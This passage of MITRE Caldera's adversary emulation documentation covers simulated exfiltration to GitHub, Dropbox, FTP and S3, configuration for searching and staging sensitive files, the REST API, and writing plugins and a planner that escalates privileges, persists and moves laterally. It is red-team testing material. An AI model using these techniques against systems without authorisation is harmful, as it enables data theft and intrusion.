• Exfil Compressed Archive to GitHub Repositories | Gists
– Additionally: Exfil Directory Files to Github
• Exfil Compressed Archive to S3 via AWS CLI
• Transfer Compressed Archive to Separate S3 Bucket via AWS CLI
• Scheduled Exfiltration (uses the standard HTTP C2 channel)
Note: the exfiltration abilities (to GitHub, Dropbox, FTP, and AWS) require a compressed archive with a corresponding
host.dir.compress fact unless otherwise noted.
If you want to skip straight to an example, click here

23.1 Groundwork - Destinations

To fully capitalize on the exfiltration abilities, you will need to do a little set up on the far end to receive the exfiltrated
data.

23.1.1 Dropbox

If you do not have a Dropbox account already, you can obtain a free account (with storage size limitations) by navigating
to the signup page for a basic account and fill in the required information.
Once you have an activated account, you will navigate to the App Center and select ‘Manage’. In the left-hand toolbar
and near the bottom, select ‘Build an App’. The name will need to be unique; fill out the requested information.
Generate an access token and set it for the desired expiration time (default as of this document is 4 hours). You may
need to update your access token periodically prior to operations.
On the permissions tab, grant the application read and write access for files and folders, then submit the application.

111
caldera

Uploaded files should appear under Apps/AppName/FolderName if you elected to segregate app folders.

23.1.2 GitHub Repositories

Chances are you already have a GitHub account if you’re using this platform. Create a new repository per the standard
instructions. If you do not already have a private access token, you can create it under Settings > Developer Settings >
Personal Access Tokens. Select if you want the token to also apply to Gists while you’re here.
You can commit directly to main if desired, or you can use a branch for your operations (just be sure to update the
fact source with the desired branch, discussed below). Keep track of your GitHub username, access token, and branch
name for the fact source.

23.1.3 GitHub Gist

This is a much simpler case - simply have a GitHub account and obtain an access token as described above (Settings >
Developer Settings > Personal Access Tokens). Ensure the access token also applies to Gists if you already have one.
Keep track of the access token and your username for the fact source.

23.1.4 FTP

There are a number of ways to start an FTP server depending on your OS; start the service per your operating system’s
requirements. As a note, FTP services may not like writable chroots if configured. To avoid this, either allow writeable
chroots or designate a specific folder for Caldera uploads and supply that in the fact source.
For example, with vsftpd you can either:
• Edit /etc/vsftpd.conf to include allow_writable_chroot=YES
• Supply a writable folder in addition to the FTP server address in the Caldera fact source. E.g. value: 192.
168.1.2/upload

23.1.5 AWS

The exfiltration via AWS CLI abilities assume the AWS CLI is installed on the host machine. For use with an IAM
user, the proper credentials (access key, secret access key, and also session token if using MFA) must be provided for
the [default] profile in ~/.aws/credentials. The [default] profile may require some additional setup with the
correct region and output within ~/.aws/config.
For exfiltration to S3 bucket, the permissions must be in place to allow the [default] profile read/write accesses to
the target S3 bucket (examples: s3:ListBucket, s3:PutObject).
For transferring data to a separate S3 bucket, proper policies must be configured in the source AWS account to allow
listing (s3:ListBucket) and getting (s3:PutObject) objects from the source S3 bucket in addition to listing, putting
objects, and setting the ACL when putting (s3:PutObjectAcl) an object to the destination S3 bucket. Policies must
also be configured in the destination AWS account to allow the source AWS account to put objects and set the object’s
ACL in the destination S3 bucket. This will ensure that objects transferred to the destination account will automatically
become owned by the destination bucket owner, who will then have full control of the transferred objects.

112 Chapter 23. Exfiltration Scenarios and Setup


caldera

23.2 The Fact Source

Caldera uses facts in its operations to collect and act upon information of import. For more general information, see
the docs. To aid in exfiltration testing, Stockpile contains a fact source for basic testing with the various facts consumed
by the abilities listed above (data/sources/2ccb822c-088a-4664-8976-91be8879bc1d). Note that this does not include
all facts used by other exfiltration abilities in Caldera, such as those offered by the Atomic plugin.
Most of the fact source is commented-out by default excepting the search and stage ability. To plan an operation, first
consider the various file searching and staging options available. The source file contains information on the options
available to you as the user along with the required formatting and default values as examples.
Review the remaining facts and un-comment (remove the # at the start of the line) the applicable facts – both the trait
and value lines. For sections like GitHub, notes have been left regarding which facts are required for either exfil to
repositories or Gists. For example, only the first two facts below need to be un-commented and updated if using Gists:

# GitHub Exfiltration
# -------------------------------------
#- trait: github.user.name <--- Uncomment
# value: CHANGEME-BOTH <--- Uncomment & Update
#- trait: github.access.token <--- Uncomment
# value: CHANGEME-BOTH <--- Uncomment & Update
#- trait: github.repository.name
# value: CHANGEME-RepoOnly
#- trait: github.repository.branch
# value: CHANGEME-RepoOnly

If you’re planning a longer operation requiring other facts, feel free to add them to this file using the standard syntax.

23.3 Adversaries

Before diving into an example, one last thing you should be aware of: pre-built adversaries. You may already be familiar
with adversaries like Hunter and Thief – to give you a baseline, we’ve included four adversaries covering exfiltration
operations to Dropbox, FTP, and GitHub (1x Repository, 1x Gist). If you want to try them out quickly, simply create
the corresponding exfiltration destination account/service and run an operation as normal using Advanced Thief via [
Dropbox | FTP | GitHub Repo | GitHub Gist ] and the provided fact source with appropriate entries.
These adversaries work nearly identically, first finding and staging files using Advanced File Search and Stager and
compressing the staged directory via utility with a password. Once converted to an archive, the last ability is exfil to
the selected destination.

23.2. The Fact Source 113


caldera

114 Chapter 23. Exfiltration Scenarios and Setup


CHAPTER

TWENTYFOUR

AN EXAMPLE

Let’s walk through an example of exfiltrating a compressed archive to a GitHub repository.

24.1 Pre-Work: GitHub

First, ensure you have an account and that you have generated an access token as described above. In either the UI
(github.com) or via the command line interface, create a repository to house the exfiltrated data. If desired, additionally
create a branch. For this demo, we have selected ‘caldera-exfil-test’ as the repository and ‘demo-op’ as the branch. In
the source file, edit the section marked for GitHub as follows. In the event you choose to use the main branch, supply
that instead for the branch fact.

id: 2ccb822c-088a-4664-8976-91be8879bc1d
name: Exfil Operation
...

# GitHub Exfiltration
# -------------------------------------
- trait: github.user.name # <--- Uncommented
value: calderauser # <--- Uncommented & Updated
- trait: github.access.token # <--- Uncommented
value: ghp_dG90YWxseW1V1cG... # <--- Uncommented & Updated
- trait: github.repository.name # <--- Uncommented
value: caldera-exfil-test # <--- Uncommented & Updated
- trait: github.repository.branch # <--- Uncommented
value: demo-op # <--- Uncommented & Updated
...

24.2 Operation Planning

With GitHub ready to go, it’s time to consider other operational facts. For this example, we will focus on a quick
smash-and-grab without any other actions. Returning to the source file, let’s look at the topic section for file search and
stage. While there are instructions in the file, we’ll cover a little more detail here.
To summarize options, you can find files by: extension and content and cull the results by providing a variety of lim-
iters: modified timeframe (default: last 30 days) and/or accessed timeframe (default: last 30 days), only searching
certain directories (e.g. c:\users or /home) or explicitly excluding directories (e.g. any “Music” folders). Addition-
ally, for Windows targets you can exclude certain extensions. This is largely to exclude executables from capture by the
content search, which the Linux command can do inherently. The included source file has default values for many of
these options but can easily be adjusted.

115
caldera

24.3 Finding Content

Looking first at how to identify content we want, we’ll discuss the extensions and content search. For extensions, you
can control Windows and Linux separately to account for different important file types between the operating systems.
For the extensions, you’ll note instructions in the file regarding format. These extensions should be provided in a
comma-separated list with no periods or asterisks as they are added in the payload. If you’re not picky, you can also
supply all or none.
The content search looks inside of files for the given string(s). This is shared between operating systems; simply include
your terms of import (spaces are ok!) in a comma-separated list. By default, Linux will ignore any binary files when
performing this search; Windows targets should use the excluded extensions list.
For this example, we’ll leave the default values and be sure to exclude common binary files we might find from Windows.

...
# ---- Comma-separated values, do not include '.' or '*', these are added in the payload␣
˓→if needed. Example: doc,docx

# ---- May also use 'all' for INCLUDED extensions and 'none' for EXCLUDED extensions
- trait: linux.included.extensions
value: txt,cfg,conf,yml,doc,docx,xls,xlsx,pdf,sh,jpg,p7b,p7s,p7r,p12,pfx
- trait: windows.included.extensions
value: doc,xps,xls,ppt,pps,wps,wpd,ods,odt,lwp,jtd,pdf,zip,rar,docx,url,xlsx,pptx,
˓→ppsx,pst,ost,jpg,txt,lnk,p7b,p7s,p7r,p12,pfx

- trait: windows.excluded.extensions # Mainly used to avoid binary files during␣


˓→content search, not needed for Linux

value: exe,jar,dll,msi,bak,vmx,vmdx,vmdk,lck

# ---- Comma-separated values to look for. Spaces are allowed in terms. May also use
˓→'none'
- trait: file.sensitive.content
value: user,pass,username,password,uname,psw
...

24.4 Limiting our results

With the content identified, we may want to focus our efforts on areas that might contain sensitive documents to save
time in the operation and post-processing. Adversaries have been observed using similar tactics, limiting results to
certain directories or documents seeing use in a given time period. As with the extensions and content, the provided
source file has default values set, but they can easily be changed.
First, you can choose an information cutoff date. As with the extensions, you can specify ‘none’ if you do not wish to
limit the results. You can also pick one or the other (modified or accessed) if you only care about one metric. Simply
supply a negative integer value, which represents the number of past days from today to include. We’ll leave it with the
default here.

# ---- Integer; cutoff for access/modification (-30 = accessed/modified in last 30␣


˓→days)
# ---- May also use 'none' for either or both options. Note on usage: if both options␣
˓→are present, the script

# ---- uses a boolean "or" - if a file was accessed in the desired timeframe but not␣
˓→modified in the time frame,

# ---- it will still be collected. If modification is more important, set accessed␣


(continues on next page)

116 Chapter 24. An Example


caldera

(continued from previous page)


˓→time to "none".
- trait: file.last.accessed
value: -30
- trait: file.last.modified
value: -30

Next, let’s look at the directories. You can again supply comma-separated lists of directories or a single directory.
These items will be used as the root nodes for a recursive search within. The default is c:\users and /home, but we
have changed things up here to limit it to a folder containing test files.

# ---- Comma-separated, full paths to base folders (will recurse inside)


- trait: windows.included.directories
value: c:\caldera-test-files
- trait: linux.included.directories
value: /caldera-test-files

If searching a directory like c:\users or /home, you will likely encounter folders you (or an attacker) do not much
care for. To address this, you can supply a comma-separated list of phrases to exclude from directory paths. These do
not need to be full paths and can include spaces. For the example below, we have excluded things like “Music” and
“saved games”, folders found by default in user directories. Because these folders aren’t likely in the test folder we’re
using, these shouldn’t be issues. Be sure to account for any folders that may contain information that would violate
your organization’s policy if it were to be published to a site outside of organizational control.

# ---- Comma-separated, does not need to be full paths. May also use 'none'
- trait: windows.excluded.directories
value: links,music,saved games,contacts,videos,source,onedrive
- trait: linux.excluded.directories
value: .local,.cache,lib

24.5 Staging

Next up, we’ll discuss staging. Because this file does search and stage, users can specify where to move the files.
By default, Windows targets will stage to the user’s recycle bin and Linux targets will stage to /tmp as both of these
locations should be writable by default. In each case, the ability will create a hidden folder called “s” at these locations.
If changing the default location, be sure to include a full path. Because the Recycle Bin requires some processing to
get the user’s SID, you can instead use the string “Recycle Bin” which will be parsed into the correct location. As noted
in the instructions, if the staging directory is changed from the default, the ability does contain a fall-back in the event
the selected directory is not writable. These values are c:\users\public and /tmp.

# Include the full path or use "Recycle Bin". Fall-back in the payload file is "c:\
˓→users\public".
# Recycle Bin will attempt to create a staging folder at c:\$Recycle.Bin\{SID} which␣
˓→should be writable by default

# Takes given location and creates a hidden folder called 's' at the location.
- trait: windows.staging.location
value: Recycle Bin

# ---- Include the full path, ensure it's writable for the agent. Fallback is /tmp.␣
˓→Creates a hidden folder called .s
(continues on next page)

24.5. Staging 117


caldera

(continued from previous page)


- trait: linux.staging.location
value: /tmp

To support safe testing, the ability additionally has a safe mode option. It is disabled by default and will find all files
matching the parameters set before. If this fact is changed to ‘true’, you can supply an identifying value which indicates
the file is for testing. This identifying value must be at the end of the file. The default value is “_pseudo”. If Safe
Mode is enabled, Caldera will not stage any files that do not end in “_pseudo”.
To provide a few examples, if safe mode is on with the value “_pseudo”:
• interesting_file.docx – matches the requested extension – will not be staged
• interesting_content.txt – matches the requested content – will not be staged
• interesting_pseudo_data.doc – matches the requested content – will not be staged because “_pseudo” is
in the wrong place
• uninteresting_file_pseudo.random – doesn’t match the requested extension – will not be staged despite
the “_pseudo”
• interesting_file_pseudo.docx – matches the requested extension – will be staged
• interesting_content_pseudo.txt – that matches the requested content – will be staged

# ---- Safe Mode - Only stages files with the appropriate file ending if enabled (e.g.␣
˓→report_pseudo.docx)
- trait: safe.mode.enabled
value: false
- trait: pseudo.data.identifier
value: _pseudo

24.6 Final Piece: A Password

For this demonstration, we will be using the password-protected archive ability added in this update. The source
contains a default value of C4ld3ra but can be changed to anything if more security is required (e.g., real files used in
testing). As noted in the source file, certain special characters may be escaped when inserted into the command. This
may result in a different password than what you entered - view the operation logs to see exactly what was used. You
should still be able to decrypt the archive, but will need to include any escape characters added during the operation.
For example, Pa$$word may have become Pa\$\$word or Pa`$`$word.

# Encrypted Compression
# Note: For passwords with special characters like # and $, you may need to include␣
˓→escapes (\ or `)

# when re-entering the password to decrypt the archive. Examine the operation output␣
˓→to see the exact password used.

# If using special characters, put the password in 'single quotes' here to prevent␣
˓→parser errors.

# -------------------------------------
- trait: host.archive.password
value: C4ld3ra

118 Chapter 24. An Example


caldera

24.7 Operation

Whew. Let’s recap a few things. So far we have:


1. Set up a GitHub repository and branch to receive the exfiltrated files, using a personal access token
2. Updated the selected source file with the pertinent information about the GitHub account and ensured the lines
are uncommented
3. Adjusted and reviewed the source file for the files we want to find and exclude, provided a staging location, and
provided a password
With all of that in place, fire up Caldera as normal. For this demonstration, we’ll use a pre-built adversary, but you can
easily add other abilities (even multi-exfil paths) to your own adversary or operation.
Navigate to the Operations tab and hit “Create an Operation”. Fill in the name, select “Advanced Thief via GitHub
Repo” as the adversary, and finally select the source file (“Exfil Operation” if using the supplied file) containing the
facts we set up earlier. Adjust any settings under Advanced if desired, otherwise start the operation. The agent should
collect the requested files in the staging directory, compress them, and POST the files to the desired repository/branch.
The filename will be a timestamp (YYYYMMDDHHmmss), exfil, the agent’s paw, and the original file name.
In our demonstration, refreshing the repository shows the following: 20211112094022-exfil-gwsnys-s.tar.gz.gpg. This
file could then be downloaded an decrypted with the default password.
Operation cleanup should remove the compressed archive and the staging directory (+ contents). This cleanup does
not occur until the operation is terminated, so you could add another exfiltration (e.g. to Dropbox) in the interim.

24.7. Operation 119


caldera

120 Chapter 24. An Example


CHAPTER

TWENTYFIVE

WRAP-UP

That about does it! If you have any questions, please reach out to the team on Slack.
The following section contains information intended to help developers understand the inner workings of the Caldera
adversary emulation tool, Caldera plugins, or new tools that interface with the Caldera server.

121
caldera

122 Chapter 25. Wrap-up


CHAPTER

TWENTYSIX

THE REST API

NOTE: The original REST API has been deprecated. The new REST API v2 has been released, with documentation
available here after server startup. Alternatively, this can be viewed by scrolling to the bottom of the Caldera navigation
menu and selecting “api docs.”
All REST API functionality can be viewed in the rest_api.py module in the source code.
Below documentation is deprecated.

26.1 /api/rest

You can interact with all parts of Caldera through the core REST API endpoint /api/rest. If you send requests to
“localhost” - you are not required to pass a key header. If you send requests to 127.0.0.1 or any other IP addresses, the
key header is required. You can set the API key in the conf/default.yml file. Some examples below will use the header,
others will not, for example.
Any request to this endpoint must include an “index” as part of the request, which routes it to the appropriate
object type.
Here are the available REST API functions:

26.2 Agents

26.2.1 DELETE

Delete any agent.

curl -H "KEY:$API_KEY" -X DELETE http://localhost:8888/api/rest -d '{"index":"agents",


˓→"paw":"$agent_paw"}'

123
caldera

26.2.2 POST

View the abilities a given agent could execute.

curl -H "KEY:$API_KEY" -X POST localhost:8888/plugin/access/abilities -d '{"paw":"$PAW"}'

Execute a given ability against an agent, outside the scope of an operation.

curl -H "KEY:$API_KEY" -X POST localhost:8888/plugin/access/exploit -d '{"paw":"$PAW",


˓→"ability_id":"$ABILITY_ID","obfuscator":"plain-text"}'

You can optionally POST an obfuscator and/or a facts dictionary with key/value pairs to fill in any variables
the chosen ability requires.

{"paw":"$PAW","ability_id":"$ABILITY_ID","obfuscator":"base64","facts":[{"trait":
˓→"username","value":"admin"},{"trait":"password", "value":"123"}]}

26.3 Adversaries

View all abilities for a specific adversary_id (the UUID of the adversary).

curl -H "KEY:$API_KEY" 'http://localhost:8888/api/rest' -H 'Content-Type: application/


˓→json' -d '{"index":"adversaries","adversary_id":"$adversary_id"}'

View all abilities for all adversaries.

curl -H "KEY:$API_KEY" 'http://localhost:8888/api/rest' -H 'Content-Type: application/


˓→json' -d '{"index":"adversaries"}'

26.4 Operations

26.4.1 DELETE

Delete any operation. Operation ID must be a integer.

curl -H "KEY:$API_KEY" -X DELETE http://localhost:8888/api/rest -d '{"index":"operations


˓→","id":"$operation_id"}'

26.4.2 POST

Change the state of any operation. In addition to finished, you can also use: paused, run_one_link or running.

curl -X POST -H "KEY:$API_KEY" http://localhost:8888/api/rest -d '{"index":"operation",


˓→"op_id":123, "state":"finished"}'

124 Chapter 26. The REST API


caldera

26.4.3 PUT

Create a new operation. All that is required is the operation name, similar to creating a new operation in the browser.

curl -X PUT -H "KEY:$API_KEY" http://127.0.0.1:8888/api/rest -d '{"index":"operations",


˓→"name":"testoperation1"}'

Optionally, you can include:


1) group (defaults to empty string)
2) adversary_id (defaults to empty string)
3) planner (defaults to batch)
4) source (defaults to basic’)
5) jitter (defaults to 2/8)
6) obfuscator (defaults to plain-text)
7) visibility (defaults to 50)
8) autonomous (defaults to 1)
9) phases_enabled (defaults to 1)
10) auto_close (defaults to 0)
To learn more about these options, read the “What is an operation?” documentation section.

26.5 /file/upload

Files can be uploaded to Caldera by POST’ing a file to the /file/upload endpoint. Uploaded files will be put in the
exfil_dir location specified in the default.yml file.

26.5.1 Example

curl -F 'data=@path/to/file' http://localhost:8888/file/upload

26.6 /file/download

Files can be dowloaded from Caldera through the /file/download endpoint. This endpoint requires an HTTP header
called “file” with the file name as the value. When a file is requested, Caldera will look inside each of the payload
directories listed in the local.yml file until it finds a file matching the name.
Files can also be downloaded indirectly through the payload block of an ability.
Additionally, the Sandcat plugin delivery commands utilize the file download endpoint to drop the agent
on a host

26.5. /file/upload 125


caldera

26.6.1 Example

curl -X POST -H "file:wifi.sh" http://localhost:8888/file/download > wifi.sh

126 Chapter 26. The REST API


CHAPTER

TWENTYSEVEN

HOW TO BUILD PLUGINS

Building your own plugin allows you to add custom functionality to Caldera.
A plugin can be nearly anything, from a RAT/agent (like Sandcat) to a new GUI or a collection of abilities that you
want to keep in “closed-source”.
Plugins are stored in the plugins directory. If a plugin is also listed in the local.yml file, it will be loaded into Caldera
each time the server starts. A plugin is loaded through its hook.py file, which is “hooked” into the core system via the
server.py (main) module.
When constructing your own plugins, you should avoid importing modules from the core code base, as
these can change. There are two exceptions to this rule
1. The services dict() passed to each plugin can be used freely. Only utilize the public functions on
these services however. These functions will be defined on the services’ corresponding interface.
2. Any c_object that implements the FirstClassObjectInterface. Only call the functions on this interface,
as the others are subject to changing.
This guide is useful as it covers how to create a simple plugin from scratch. However, if this is old news to you and
you’re looking for an even faster start, consider trying out Skeleton (a plugin for building other plugins). Skeleton will
generate a new plugin directory that contains all the standard boilerplate.

27.1 Creating the structure

Start by creating a new directory called “abilities” in Caldera’s plugins directory. In this directory, create a hook.py file
and ensure it looks like this:

name = 'Abilities'
description = 'A sample plugin for demonstration purposes'
address = None

async def enable(services):


pass

The name should always be a single word, the description a phrase, and the address should be None, unless your plugin
exposes new GUI pages. Our example plugin will be called “abilities”.

127
caldera

27.2 The enable function

The enable function is what gets hooked into Caldera at boot time. This function accepts one parameter:
1. services: a list of core services that Caldera creates at boot time, which allow you to interact with the core system
in a safe manner.
Core services can be found in the app/services directory.

27.3 Writing the code

Now it’s time to fill in your own enable function. Let’s start by appending a new REST API endpoint to the server.
When this endpoint is hit, we will direct the request to a new class (AbilityFetcher) and function (get_abilities). The
full hook.py file now looks like:

from aiohttp import web

name = 'Abilities'
description = 'A sample plugin for demonstration purposes'
address = None

async def enable(services):


app = services.get('app_svc').application
fetcher = AbilityFetcher(services)
app.router.add_route('*', '/get/abilities', fetcher.get_abilities)

class AbilityFetcher:

def __init__(self, services):


self.services = services

async def get_abilities(self, request):


abilities = await self.services.get('data_svc').locate('abilities')
return web.json_response(dict(abilities=[a.display for a in abilities]))

Now that our initialize function is filled in, let’s add the plugin to the default.yml file and restart Caldera. Once running,
in a browser or via cURL, navigate to 127.0.0.1:8888/get/abilities. If all worked, you should get a JSON response back,
with all the abilities within Caldera.

27.4 Making it visual

Now we have a usable plugin, but we want to make it more visually appealing.
Start by creating a “templates” directory inside your plugin directory (abilities). Inside the templates directory, create
a new file called abilities.html. Ensure the content looks like:

<div id="abilities-new-section" class="section-profile">


<div class="row">
<div class="topleft duk-icon"><img onclick="removeSection('abilities-new-section
(continues on next page)

128 Chapter 27. How to Build Plugins


caldera

(continued from previous page)


˓→ ')" src="/gui/img/x.png"></div>
<div class="column section-border" style="flex:25%;text-align:left;padding:15px;
˓→">

<h1 style="font-size:70px;margin-top:-20px;">Abilities</h1>
</div>
<div class="column" style="flex:75%;padding:15px;text-align: left">
<div>
{% for a in abilities %}
<pre style="color:grey">{{ a }}</pre>
<hr>
{% endfor %}
</div>
</div>
</div>
</div>

Then, back in your hook.py file, let’s fill in the address variable and ensure we return the new abilities.html page when
a user requests 127.0.0.1/get/abilities. Here is the full hook.py:

from aiohttp_jinja2 import template, web

from app.service.auth_svc import check_authorization

name = 'Abilities'
description = 'A sample plugin for demonstration purposes'
address = '/plugin/abilities/gui'

async def enable(services):


app = services.get('app_svc').application
fetcher = AbilityFetcher(services)
app.router.add_route('*', '/plugin/abilities/gui', fetcher.splash)
app.router.add_route('GET', '/get/abilities', fetcher.get_abilities)

class AbilityFetcher:
def __init__(self, services):
self.services = services
self.auth_svc = services.get('auth_svc')

async def get_abilities(self, request):


abilities = await self.services.get('data_svc').locate('abilities')
return web.json_response(dict(abilities=[a.display for a in abilities]))

@check_authorization
@template('abilities.html')
async def splash(self, request):
abilities = await self.services.get('data_svc').locate('abilities')
return(dict(abilities=[a.display for a in abilities]))

Restart Caldera and navigate to the home page. Be sure to run server.py with the --fresh flag to flush the previous
object store database.

27.4. Making it visual 129


caldera

You should see a new “abilities” tab at the top, clicking on this should navigate you to the new abilities.html page you
created.

27.5 Adding documentation

Any Markdown or reStructured text in the plugin’s docs/ directory will appear in the documentation generated by the
fieldmanual plugin. Any resources, such as images and videos, will be added as well.

130 Chapter 27. How to Build Plugins


CHAPTER

TWENTYEIGHT

HOW TO BUILD PLANNERS

For any desired planner decision logic not encapsulated in the default batch planner (or any other existing planner),
Caldera requires that a new planner be implemented to encode such decision logic.

28.1 Buckets

The cornerstone of how planners make decisions is centered on a concept we call ‘buckets’. Buckets denote the planner’s
state machine and are intended to correspond to buckets of Caldera abilities. Within a planner, macro level decision
control is encoded by specifying which buckets (i.e. states) follow other buckets, thus forming a bucket state machine.
Micro level decisions are made within the buckets, by specifying any logic detailing which abilities to send to agents
and when to do so.
Caldera abilities are also tagged by the buckets they are in. By default, when abilities are loaded by Caldera, they are
tagged with the bucket of the ATT&CK technique they belong to. Caldera abilities can also be tagged/untagged at will
by any planner as well, before starting the operation or at any point in it. The intent is for buckets to work with the
abilities that have been tagged for that bucket, but this is by no means enforced.

28.2 Creating a Planner

Let’s dive into creating a planner to see the power and flexibility of the Caldera planner component. For this example,
we will implement a planner that will carry out the following state machine:

131
caldera

The planner will consist of 5 buckets: Privilege Escalation, Collection, Persistence, Discovery, and Lateral Movement.
As implied by the state machine, this planner will use the underlying adversary abilities to attempt to spread to as
many hosts as possible and establish persistence. As an additional feature, if an agent cannot obtain persistence due to
unsuccessful privilege escalation attempts, then the agent will execute collection abilities immediately in case it loses
access to the host.
This document will walk through creating three basic components of a planner module (initialization, entrypoint
method, and bucket methods), creating the planner data object, and applying the planner to a new operation.

28.2.1 Creating the Python Module

We will create a python module called privileged_persistence.py and nest it under app/ in the mitre/
stockpile plugin at plugins/stockpile/app/privileged_persistence.py.
First, lets build the static initialization of the planner:

class LogicalPlanner:

def __init__(self, operation, planning_svc, stopping_conditions=()):


self.operation = operation
self.planning_svc = planning_svc
self.stopping_conditions = stopping_conditions
self.stopping_condition_met = False
self.state_machine = ['privilege_escalation', 'persistence', 'collection',
˓→'discovery', 'lateral_movement']

self.next_bucket = 'privilege_escalation'

Look closer at these lines:


def __init__(self, operation, planning_svc, stopping_conditions=()):
self.operation = operation
(continues on next page)

132 Chapter 28. How to Build Planners


caldera

(continued from previous page)


self.planning_svc = planning_svc
self.stopping_conditions = stopping_conditions
self.stopping_condition_met = False

The __init__() method for a planner must take and store the required arguments for the operation instance,
planning_svc handle, and any supplied stopping_conditions.
Additionally, self.stopping_condition_met, which is used to control when to stop bucket execution, is initially
set to False. During bucket execution, this property will be set to True if any facts gathered by the operation exactly
match (both name and value) any of the facts provided in stopping_conditions. When this occurs, the operation
will stop running new abilities.

self.state_machine = ['privilege_escalation', 'persistence', 'collection',


˓→'discovery', 'lateral_movement']

The self.state_machine variable is an optional list enumerating the base line order of the planner state machine.
This ordered list does not control the bucket execution order, but is used to define a base line state machine that we
can refer back to in our decision logic. This will be demonstrated in our example below when we create the bucket
methods.

self.next_bucket = 'privilege_escalation'

The self.next_bucket variable holds the next bucket to be executed. This is the next bucket that the planner will
enter and whose bucket method will next control the planning logic. Initially, we set self.next_bucket to the first
bucket the planner will begin in. We will modify self.next_bucket from within our bucket methods in order to
specify the next bucket to execute.
Additional Planner class variables
It is also important to note that a planner may define any required variables that it may need. For instance, many custom
planners require information to be passed from one bucket to another during execution. This can be done by creating
class variables to store information which can be accessed within any bucket method and will persist between bucket
transitions.
Now, lets the define the planner’s entrypoint method: execute

async def execute(self):


await self.planning_svc.execute_planner(self)

execute is where the planner starts and where any runtime initialization is done. execute_planner works by execut-
ing the bucket specified by self.next_bucket until the self.stopping_condition_met variable is set to True.
For our planner, no further runtime initialization is required in the execute method.
Finally, lets create our bucket methods:

async def privilege_escalation(self):


ability_links = await self.planning_svc.get_links(self.operation, buckets=[
˓→'privilege escalation'])

paw = ability_links[0].paw if ability_links else None


link_ids = [await self.operation.apply(l) for l in ability_links]
await self.operation.wait_for_links_completion(link_ids)
successful = self.operation.has_fact('{}.privilege.root'.format(paw), True) or␣
˓→self.operation.has_fact('{}.privilege.admin'.format(paw), True)

if successful:
self.next_bucket = 'persistence'
(continues on next page)

28.2. Creating a Planner 133


caldera

(continued from previous page)


else:
self.next_bucket = 'collection'

async def persistence(self):


await self.planning_svc.exhaust_bucket(self, 'persistence', self.operation)
self.next_bucket = await self.planning_svc.default_next_bucket('persistence',␣
˓→self.state_machine)

async def collection(self):


await self.planning_svc.exhaust_bucket(self, 'collection', self.operation)
self.next_bucket = 'discovery'

async def discovery(self):


await self.planning_svc.exhaust_bucket(self, 'discovery', self.operation)
lateral_movement_unlocked = bool(len(await self.planning_svc.get_links(self.
˓→operation, buckets=['lateral_movement'])))

if lateral_movement_unlocked:
self.next_bucket = await self.planning_svc.default_next_bucket('discovery',␣
˓→self.state_machine)

else:
# planner will transtion from this bucket to being done
self.next_bucket = None

async def lateral_movement(self):


await self.planning_svc.exhaust_bucket(self, 'lateral_movement', self.operation)
self.next_bucket = 'privilege_escalation'

These bucket methods are where all inter-bucket transitions and intra-bucket logic will be encoded. For every bucket
in our planner state machine, we must define a corresponding bucket method.
Lets look at each of the bucket methods in detail:
• privilege_escalation() - We first use get_links planning service utility to retrieve all abilities (links)
tagged as privilege escalation from the operation adversary. We then push these links to the agent with apply
and wait for these links to complete with wait_for_links_completion(), both from the operation utility.
After the links complete, we check for the creation of custom facts that indicate the privilege escalation was
successful (Note: this assumes the privilege escalation abilities we are using create custom facts in the format
“{paw}.privilege.root” or “{paw}.privilege.admin” with values of True or False). If privilege escalation was
successful, set the next bucket to be executed to persistence, otherwise collection.
• persistence(), collection(), lateral_movement() - These buckets have no complex logic, we just want
to execute all links available and are tagged for the given bucket. We can use the exhaust_bucket() planning
service utility to apply all links for the given bucket tag. Before exiting, we set the next bucket as desired. Note
that in the persistence() bucket we use the default_next_bucket() planning service utility, which will
automatically choose the next bucket after “persistence” in the provided self.state_machine ordered list.
• discovery() - This bucket starts by running all discovery ability links available. Then we utilize a useful trick
to determine if the planner should proceed to the lateral movement bucket. We use get_links() to determine
if the discovery links that were just executed ended up unlocking ability links for lateral movement. From there
we set the next bucket accordingly.
Additional Notes on Privileged Persistence Planner
• You may have noticed that the privileged_persistence planner is only notionally more sophisticated than running
certain default adversary profiles. This is correct. If you can find or create an adversary profile whose ability
enumeration (i.e. order) can carry out your desired operational progression between abilities and can be executed

134 Chapter 28. How to Build Planners


caldera

in batch (by the default batch planner) or in a sequentially atomic order (by atmomic planner), it is advised to
go that route. However, any decision logic above those simple planners will have to be implemented in a new
planner.
• The privileged persistence planner did not have explicit logic to handle multiple agents. We just assumed the
planner buckets would only have to handle a single active agent given the available ability links returned from
the planning service.

28.2.2 Creating the Planner Object

In order to use this planner inside Caldera, we will create the following YAML file at plugins/stockpile/data/
planners/80efdb6c-bb82-4f16-92ae-6f9d855bfb0e.yml:

---

id: 80efdb6c-bb82-4f16-92ae-6f9d855bfb0e
name: privileged_persistence
description: |
Privileged Persistence Planner: Attempt to spread to as many hosts as possible and␣
˓→establish persistence.

If privilege escalation attempts succeed, establish persistence. Then, collect data.


module: plugins.stockpile.app.privileged_persistence
params: {}
ignore_enforcement_modules: []

This will create a planner in Caldera which will call the module we’ve created at plugins.stockpile.app.
privileged_persistence.
NOTE: For planners intended to be used with profiles containing repeatable abilities,
allow_repeatable_abilities: True must be added to the planner YAML file. Otherwise, Caldera will
default the value to False and assume the planner does not support repeatable abilities.

28.2.3 Using the Planner

To use the planner, create an Operation and select the “Use privileged_persistence planner” option in the planner
dropdown (under Autonomous). Any selected planner will use the abilities in the selected adversary profile during the
operation. Since abilities are automatically added to buckets which correlate to MITRE ATT&CK tactics, any abilities
with the following tactics will be executed by the privileged_persistence planner: privilege_escalation, persistence,
collection, discovery, and lateral_movement.

28.3 A Minimal Planner

Custom planners do not have to use the buckets approach to work with the Caldera operation interface if not desired.
Here is a minimal planner that will still work with the operation interface.

class LogicalPlanner:

def __init__(self, operation, planning_svc, stopping_conditions=()):


self.operation = operation
self.planning_svc = planning_svc
(continues on next page)

28.3. A Minimal Planner 135


caldera

(continued from previous page)


self.stopping_conditions = stopping_conditions
self.stopping_condition_met = False

async def execute(self):


#
# Implement Planner Logic
#
return

28.4 Advanced Fact Usage

